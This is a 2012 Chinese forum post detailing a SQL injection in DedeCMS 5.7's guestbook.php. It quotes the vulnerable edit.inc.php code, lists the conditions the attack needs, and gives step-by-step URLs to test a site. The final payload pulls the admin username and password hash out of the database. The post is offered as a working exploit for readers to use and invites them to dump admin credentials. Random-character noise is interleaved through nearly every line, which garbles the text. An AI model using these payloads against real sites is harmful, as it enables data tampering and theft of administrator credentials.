找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3842|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7- n3 @+ w6 U! b4 v5 u  Q/ ^) V& i
( c9 t0 r, r* `: Q3 Z+ D! C, v
漏洞文件edit.inc.php具体代码:
5 D/ f" O4 [2 s( k2 u) N- n4 N: Y8 _* @- [; }
< ?php  ) D  a# {' {5 D7 \: q  i
' ?5 p$ W5 S' V
if(!defined('DEDEINC')) exit('Request Error!');  5 C6 {" _; e7 ~7 K+ L2 z
8 o" Z1 x5 y$ V2 E, I
   
" U7 r" R4 G; n- @7 ^% S, P/ `/ a! R
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  5 A, C! \1 c: T9 Z

8 r, F1 O- D5 o1 h/ |! P) u/ g5 Qelse $GUEST_BOOK_POS = "guestbook.php";  
" q# |. X* J' T3 t% f( F' J1 N" E- h( V
   
- H* J6 t) s5 }. i* v/ Y$ `, r" R7 ^; _& o8 B5 x# w; N. K
$id = intval($id);  
  I; r5 X( r& G- L/ Z! O, [+ @6 t
! y) f& F/ W: _8 h8 J) r# F; oif(empty($job)) $job='view';  
; f4 Z3 b; `) V
0 g, t  t) {% z6 V) M+ k   * M0 H" m+ N6 q) O, o

6 z! l) F: e* U# m, N. J  E% sif($job=='del' && $g_isadmin)    `* l2 V2 b3 Y: V9 e6 ?
* M; n+ `9 i% }+ ]6 a6 `; w
{  
' S7 P  L( w/ C; }5 Z9 U6 c* d) {& m$ N2 Y$ `4 a6 s& V0 }2 V
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ' P( M+ e9 @, `5 j

5 g; J4 f# ]- {' X1 hShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
* t  z' j8 I5 m' ]2 {  ?7 G
/ c; {# ^  V8 e, Aexit();  
+ @3 D+ P: }. j, b/ t1 }* k  R9 I6 t' Q
}  + y8 L6 E0 ]4 D4 m+ M3 G
7 h5 I6 _  G6 J
else if($job=='check' && $g_isadmin)  : \4 J1 I( o, h! a
. L4 I2 q( c; K9 p6 ?& x  g# l6 A
{  
' j, {! C9 F& G$ A' K& x4 S; _2 d
  ]+ c' C5 z( V" H4 o% b/ [$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
- B; ~9 P' h: u) H" m9 q% z, g7 _% e: P. P8 t- |2 y
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  6 [1 ?; u6 r( X0 L% @
3 t. ^" m5 [2 A/ R
exit();  3 K" _  w6 h3 Y6 I  I

  J2 m3 }% a) H+ w1 D}  
9 w+ F& U$ P. U% g" F% B8 f2 ]: a& o" R$ H) ~
else if($job=='editok')  3 |7 D, q4 v# ^9 W' E
; h* _* z5 T3 {9 S% F
{  , ]$ D  i( i- _2 R7 k+ ^

1 B4 Y. v4 c( B- o! v$remsg = trim($remsg);  
* X8 E+ K& f5 r' y2 {
& R% |5 N9 k5 C9 U1 h" b9 Rif($remsg!='')  - C) T* m( S1 K5 A) i& u  U; e1 O
* b$ ?* k& ?. ?# m
{  
4 k0 `0 @, `6 Y% E/ k
) Q# C3 s. ?# [/ ~: G, W1 l+ G//管理员回复不过滤HTML By:Errorera blog:errs.cc  2 A# `: ?. C+ |$ a7 M
& s, I0 C" ?1 A4 U
if($g_isadmin)  5 b0 A. q: ~  W. ^/ O) `

' ]' \/ |7 d8 b4 l  W; g0 A{  : q/ U2 D- |( \; T. h2 G
2 T7 b4 [4 p, L7 k5 V, `
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  ; W; F3 B# Q  a# \1 o5 m
7 j$ ?) T+ v) N1 q
//$remsg <br /><font color=red>管理员回复:</font> }  
+ _8 L. ?5 g& D* V5 G, ?
& _4 [/ I) E* C: m; E6 ]else 4 D& N4 e- Z7 ^! }% r# P
  w5 B! T# p3 \, \
{  ' j" v2 \( a0 [, b2 i$ z
" m% r/ V0 K# f
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  5 N' H7 ^! e2 x) N

% D; u& R& {/ e6 H4 P( r* h$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  # `. M' h) ?: Z* w
/ \" P7 Q: {: y
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  ; ~" v7 I0 ^" ]2 p- A) P& v

4 R+ O: L3 k$ T$msg = $oldmsg.$remsg;    R; y) k% @! F5 _! `; F
. h3 v5 J; m' a. T/ R+ `
}  + j7 D& |: _- ]

0 j6 o, x& \! J5 G% H% [$ Y}  
$ [; t9 ?1 J" S& A3 ]% |
* a# ^9 P. t( d/ ?//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  8 f, B# q+ `) {( r) o

! A. c0 g6 E: U- a& T& w$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  # w- Z9 K& A5 y1 G
1 x9 Q8 ?, r6 g) G# ~
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
/ T2 n: Q1 n- J1 g- P1 U9 k5 l5 s( t5 |; \" j) c; ~
exit();  $ K: \) x6 G4 B0 p7 r" ^% E
  q0 E  Q4 T: S5 R) ?
}  * j  Z: _! M  j4 I. w
0 I& U9 t' w* }' D" \' |
//home:www.errs.cc  ; `  m  ?  n2 S! `+ a0 ~

/ {7 M; y( F7 o+ A' pif($g_isadmin)  
- E5 K. V9 z1 q( x8 y
. H  n, k3 n7 ^* c: W; W{  
% J5 R& u8 I& t3 k) n9 F8 {8 _. J+ E$ T6 m6 c! S5 T/ T
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  " p5 q" d+ X" v8 \9 B6 i- h# V
! F  O$ T' e9 z) z5 l6 N
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ( Q/ [9 x) _+ n$ U3 F  C' e7 b. g
/ x. _: k5 _& G: V
}  
' Y7 k* x' c% r. D5 @
7 i# d7 b; d! o4 c+ U- nelse 1 L6 \1 U  h5 k3 W  i0 u

( h4 x' Z) _' u{  
/ Q0 e  o$ S+ [4 ^6 h/ W0 m8 y: |# ]: C6 e# r3 U
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
; r, y8 [0 J2 G1 v- t
( _' }5 i/ ~2 Y8 X; trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  : P# M( m: N6 r2 c4 G

! D: X7 d% l" H+ b} 漏洞成功需要条件:
' M( R8 X$ A3 W% q1. php magic_quotes_gpc=off
2 N8 M! i( Z9 d5 y4 z% c2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 X7 I/ N* o5 S$ ?. \! z. c& I4 o& |6 r9 }! ]1 Y
怎么判断是否存在漏洞:
7 D6 e: N8 a# M, G" }3 z先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
' \$ d4 E% Q8 h5 `) H" W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID  ^0 b% H" Q1 S5 r
访问:  m5 T* i/ ~$ v; n8 F( h

4 t! k) B/ w9 c3 s' bwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 M5 W7 Q" t, i3 b6 Q8 W# \
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证0 W" c  |- v. o! a
0 k' p* o# C0 j- h8 {

, V6 f9 E6 m/ t, z9 F# U, R7 G明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
' h. O% ?8 W! h9 b/ J9 X0 j如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, _1 s8 y& A' H: `那么再次访问- G/ m% J; V" y" |* f
- w! @/ r6 R: X  B
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
# z# P! D( {% ]. q+ z
4 ]! F2 C- N, E7 A! U大概利用就是这样,大家有兴趣的多研究下!!
+ S7 }( ^- p6 y' B1 }
: }' h0 @( _# W" x, l0 J4 L/ x8 v7 n最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!: X3 |/ L- M3 o4 l2 G6 ~& H. }

7 m" W, u& d5 ?view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表